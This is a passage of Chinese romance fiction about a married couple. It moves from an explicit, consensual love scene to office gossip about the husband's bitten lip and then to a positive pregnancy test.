沈澈却执意要她叫,动作越来越快,过多的快感不断冲击着中枢神经,贺羡棠仰着头,像一只被折断颈的鹤。 在最接近天堂的前一秒,沈澈忽然停下了。 贺羡棠一口呼吸卡在喉间,藏蓝色领带染上水泽,洇出一片墨色。她侧过头,有些失神,摸索着咬沈澈肩膀。 “不要停!” 沈澈问:“叫我什么?” “沈澈!” “不对。”沈澈的手指在柔嫩的唇瓣上打圈,“不是这个。” 这些很轻微的刺激让她的身体不停叫嚣着。她哭出来:“老公,老公!” 沈澈言而有信,一把扯下领带。 顿时贺羡棠眼前一片白花花的灯光,尚没看清楚光源,就被沈澈托着抱在腰腹间。 太多了。 沈澈浑身上下的细胞好像都被那个称呼点燃了,他亲着她,动作都有些粗鲁,贺羡棠发不出任何声音,只好死死咬着唇。 她脚尖都绷紧了,浑身汗涔涔的,听见沈澈在她耳边低笑。 “好可怜,bb。” 贺羡棠一口咬上他的唇。 第二天沈董唇角带伤去上班,公司里盛传他和太太吵架被家暴,就是这家暴的位置有点太诡异了,至于原因则五花八门,甚至还有人说他在外面消遣被太太发现。 真是无风起浪,沈澈头疼不已,连着好几天邀请贺羡棠来品鉴公司新建成的食堂。远南集团香港总部上万名员工看着他们一向不苟言笑的沈董非要在食堂里喂太太喝汤,被太太臭骂一顿。 流言蜚语总算平息,沈澈妻管严的帽子却再也摘不下来了。 虽说想要一个小朋友,但贺羡棠和沈澈也没有多在意,他们都觉得这种事得顺其自然听从天意。 六月份刚入夏,贺羡棠胃口很差,总觉得厨房做的菜太腻,沈澈跟沈濯请教腌咸酸梅的方子,说贺羡棠最近总想吃点酸甜口的东西。 沈濯狐疑地看了他一会儿,丢给他一支验孕棒。 用完了,测出来两条红杠。